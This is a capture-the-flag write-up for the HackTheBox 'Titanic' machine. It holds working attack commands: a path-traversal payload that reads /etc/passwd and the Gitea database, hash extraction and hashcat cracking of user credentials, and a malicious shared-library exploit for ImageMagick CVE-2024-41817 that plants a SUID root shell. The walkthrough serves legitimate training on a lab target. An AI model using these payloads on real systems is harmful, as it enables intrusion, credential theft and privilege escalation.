Titanic – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar titanic


Summary Link to heading

“Titanic” is an Easy box from HackTheBox platform. We find that the victim machine is running a web server with a virtual host running Gitea, where we are allowed to create a user and see internal repositories. These repositories are the source code for the website running on the server, showing a vulnerable path that allows a Local File Inclusion. This allow us to download a SQLite database. We are able to crack a hash from this database for one of the current users and gain access through SSH to the victim machine. Once inside, we can see a directory apparently executing scripts periodically using a vulnerable Magick version to CVE-2024–41817. This allow us to inject malicious code, get a shell as root user and compromise the system.


User Link to heading

A quick Nmap scan for open TCP ports show only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.55

Applying some recognition scans from Nmap over these ports shows:

❯ sudo nmap -sVC -p22,80 10.10.11.55

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 05:04 -03
Nmap scan report for 10.10.11.55
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.45 seconds

From the output we can see a domain: titanic.htb.

Add this domain to our /etc/hosts file along with victim machine IP address running into a terminal:

❯ echo '10.10.11.55 titanic.htb' | sudo tee -a /etc/hosts

We use WhatWeb against the site to identify technologies being used we get:

❯ whatweb -a 3 http://titanic.htb

http://titanic.htb [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]

The web server is running on Flask.

Visit http://titanic.htb in a web browser. We can see a site about Titanic ship:

Titanic 1

But buttons in the page don’t not work.

We can search then for vhosts (subdomains) using ffuf. We also filter by all responses with 20 words to avoid false positives:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://titanic.htb/ -H 'Host: FUZZ.titanic.htb' -fw 20

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 472ms]
:: Progress: [4989/4989] :: Job [1/1] :: 146 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

We get a subdomain: dev.titanic.htb.

Add this new subdomain to our /etc/hosts file, so now it looks like:

❯ tail -n 1 /etc/hosts

10.10.11.55 titanic.htb dev.titanic.htb

Visiting http://dev.titanic.htb shows a site with Gitea:

Titanic 2

Info
Gitea is a forge software package for hosting software development version control using Git as well as other collaborative features

We can create an account there clicking on Register at the top right. Once created, we can go to the top part and click on Explore; this redirect us to http://dev.titanic.htb/explore/repos where we can see some repositories:

Titanic 3

We have a flask-app repository. Since we previously saw the main site http://titanic.htb was running with flask, this might be the code for the webpage.

Inside this repository we have an app.py file with the content:

from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

The important part here is:

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

We have a /download path that accepts GET method, where its argument is ticket and a system path.

For example, checking what we get as response if we attempt to download anything we get:

❯ curl -s 'http://titanic.htb/download?ticket=test'

{"error":"Ticket not found"}

It worked. But the ticket was not found.

Since the script was using os.path.exists to check if the file exists, but it does not sanitize the input, we could attempt a Directory Traversal and attempt to read /etc/passwd file:

❯ curl -s 'http://titanic.htb/download?ticket=../../../../../etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

It worked. We have a Local File Inclusion.

We have 2 users in the victim machine: root and developer:

❯ curl -s 'http://titanic.htb/download?ticket=../../../../../etc/passwd' | grep sh$

root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

Checking Gitea documentation shows that Gitea has a configuration file gitea/conf/app.ini. We still need a path that shows where this could be stored. If we check the second repository called docker-config there is a docker-compose.yml file:

Titanic 4

with the content:

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

We have a path: /home/developer/gitea/data.

Therefore, we could attempt to read the path:

/home/developer/gitea/data/gitea/conf/app.ini

Using cURL against this path we get:

❯ curl -s 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini'

<SNIP>

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable

<SNIP>

To download it, we can go to a web browser like Firefox and visit:

http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db

This should download a .db file.

This is an SQLite file:

❯ mv ~/Downloads/_.._.._.._.._home_developer_gitea_data_gitea_gitea.db ./gitea.db

❯ file gitea.db

gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 566, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 566

Start reading the database file. We can search for tables that contain password string:

sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';

two_factor|last_used_passcode
user|passwd
user|passwd_hash_algo
user|must_change_password

Table user seems interesting.

Checking its content shows a lot of columns:

sqlite> PRAGMA table_info(user);

0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
14|location|TEXT|0||0
15|website|TEXT|0||0
16|rands|TEXT|0||0
17|salt|TEXT|0||0
<SNIP>

Here I got flashbacks from Compiled Machine, since in that machine we also had to extract hashes for a Gitea page with its database. We have salted hashes using PBKDF2 algorithm. Basically, here the important columns are name for the username, passwd is the hashed password, passwd_hash_algo sets the hash algorithm type and salt is the salt for the user. Additionally, this blog gives an excellent explanation about PBKDF2 hashing algorithm. Searching for pbkdf2 Gitea yields to this security configuration Cheat-Sheet for Gitea. In Compiled Machine we found that to crack these hashes with Hashcat we needed the format:

<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64-hash>

We extract the needed info to forge the hash then:

sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;

administrator|administrator|root@titanic.htb|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|developer|developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
gunzf0x|gunzf0x|gunzf0x@titanic.htb|cd9af5c2b59990c3afee0dacc91cdee5c9b11373bd5f77f26edf1652698a431663e3572bc09446a9bf4efee26c92eca712c1|pbkdf2$50000$50|43e3e01bd8707b0a22f42dc10e190d45

We have hashes for 3 users: administrator, developer and gunzf0x (the user we have created to check the repositories in Gitea).

Extract the needed fields for developer user, since this user exists in the victim machine:

sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user where name='developer';

developer|developer|developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34

Where the needed properties are:

  1. The hashing algorithm is sha256 (from Gitea documentation).
  2. Iterations, as we have seen, are 50000.
  3. Just pass the salt from hexadecimal to “normal text” and then to base64:
❯ echo -n '8bf3e3452b78544f8bee9400d6936d34' | xxd -r -p | base64

i/PjRSt4VE+L7pQA1pNtNA==
  1. Repeat step 3, but with the password (hash) found:
❯ echo -n 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' | xxd -r -p | base64

5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Putting all together our crackeable hash is:

developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

As a parenthesis, I always recommend to read WriteUps from different sources. For Compiled Machine, 0xdf shows how to create hashes for Gitea with a oneliner automatically:

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

Which returns in this case:

❯ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
gunzf0x:sha256:50000:Q+PgG9hwewoi9C3BDhkNRQ==:zZr1wrWZkMOv7g2syRze5cmxE3O9X3fybt8WUmmKQxZj41crwJRGqb9O/uJskuynEsE=

Using both methods (automated or “manual”), both hashes for developer user are the same.

Then, just attempt a Brute Force Password Cracking with Hashcat. According to Hashcat example hashes, mode 10900 works. Also add --user flag to avoid developer: at the beginning of the hash:

❯ hashcat -m 10900 -a 0 -w 3 -O developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= /usr/share/wordlists/rockyou.txt --user

<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
<SNIP>

We have credentials: developer:25282528.

Check if these credentials are valid for SSH with NetExec:

❯ nxc ssh 10.10.11.55 -u 'developer' -p '25282528'

SSH         10.10.11.55     22     10.10.11.55      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.55     22     10.10.11.55      [+] developer:25282528  Linux - Shell access!

They are valid.

Therefore, log into the victim machine through SSH with these valid credentials:

❯ sshpass -p '25282528' ssh -o stricthostkeychecking=no developer@10.10.11.55

<SNIP>
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: in**     from 10.10.16.5
developer@titanic:~$

We can grab the user flag.


Root Link to heading

Looking for files at /opt shows 3 directories.

developer@titanic:~$ ls -la /opt

total 20
drwxr-xr-x  5 root root      4096 Feb  7 10:37 .
drwxr-xr-x 19 root root      4096 Feb  7 10:37 ..
drwxr-xr-x  5 root developer 4096 Feb  7 10:37 app
drwx--x--x  4 root root      4096 Feb  7 10:37 containerd
drwxr-xr-x  2 root root      4096 Feb  7 10:37 scripts

We have a directory /opt/app with content:

developer@titanic:~$ ls -la /opt/app

total 24
drwxr-xr-x 5 root developer 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root      4096 Feb  7 10:37 ..
-rwxr-x--- 1 root developer 1598 Aug  2  2024 app.py
drwxr-x--- 3 root developer 4096 Feb  7 10:37 static
drwxr-x--- 2 root developer 4096 Feb  7 10:37 templates
drwxrwx--- 2 root developer 4096 Feb 19 09:00 tickets

These are just the files we have found at Gitea repository running in the victim machine, displaying the web server.

At /opt there was also a scripts directory. Checking its content we get:

developer@titanic:~$ ls -la /opt/scripts

total 12
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh

We have a file /opt/scripts/identify_images.sh, a Bash script. Checking its content shows:

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

The script checks for image files (ending with .jpg) at /opt/app/static/assets/images/ (a path where we have writing permissions as well) and passing all those files to /usr/bin/magick as argument.

To check if this script is actually being executed we can upload pspy (which can be downloaded from its Github repository). Pass the binary to the victim machine using scp:

❯ sshpass -p '25282528' scp ./pspy64 developer@10.10.11.55:/tmp/pspy64

Assign execution permissions to the uploaded binary and execute it:

developer@titanic:~$ chmod +x /tmp/pspy64

developer@titanic:~$ /tmp/pspy64

<SNIP>

But we cannot see anything. Why? Because hidepid is set as invisible in the machine:

developer@titanic:~$ mount | grep /proc | grep hidepid

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=invisible)

This means we are not allowed to see processed being executed by other users. So we will have to go “blind”.

If we check the magick binary version running the script we get:

developer@titanic:~$ /usr/bin/magick --version

Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

Searching for vulnerabilities for this version we find CVE-2024–41817 with this Github advisory giving a PoC. In short, we could manipulate some paths for this binary leading to arbitrary code execution. Since the script was getting all files from /opt/app/static/assets/images/, we could attempt to put our malicious payload there. Go to /opt/app/static/assets/images/ and pass the payload there:

developer@titanic:~$ cd /opt/app/static/assets/images/

developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x");
    exit(0);
}
EOF

Where we have set in the payload the instruction to copy a binary of /bin/bash and, to that copy, assign SUID permissions.

After some time our file is there:

developer@titanic:/opt/app/static/assets/images$ ls -la /tmp

total 4452
drwxrwxrwt 14 root      root         4096 Feb 19 09:37 .
drwxr-xr-x 19 root      root         4096 Feb  7 10:37 ..
drwxrwxrwt  2 root      root         4096 Feb 19 08:22 .font-unix
-rwsr-xr-x  1 root      root      1396520 Feb 19 09:37 gunzf0x
drwxrwxrwt  2 root      root         4096 Feb 19 08:22 .ICE-unix
-rwxr-xr-x  1 developer developer 3104768 Feb 19 09:21 pspy64
<SNIP>

where -rwsr-xr-x indicates it has SUID permissions.

We can run this file with owner permissions (root) using -p flag:

developer@titanic:/opt/app/static/assets/images$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami
root

GG. We can grab the root flag at /root directory.

~Happy Hacking.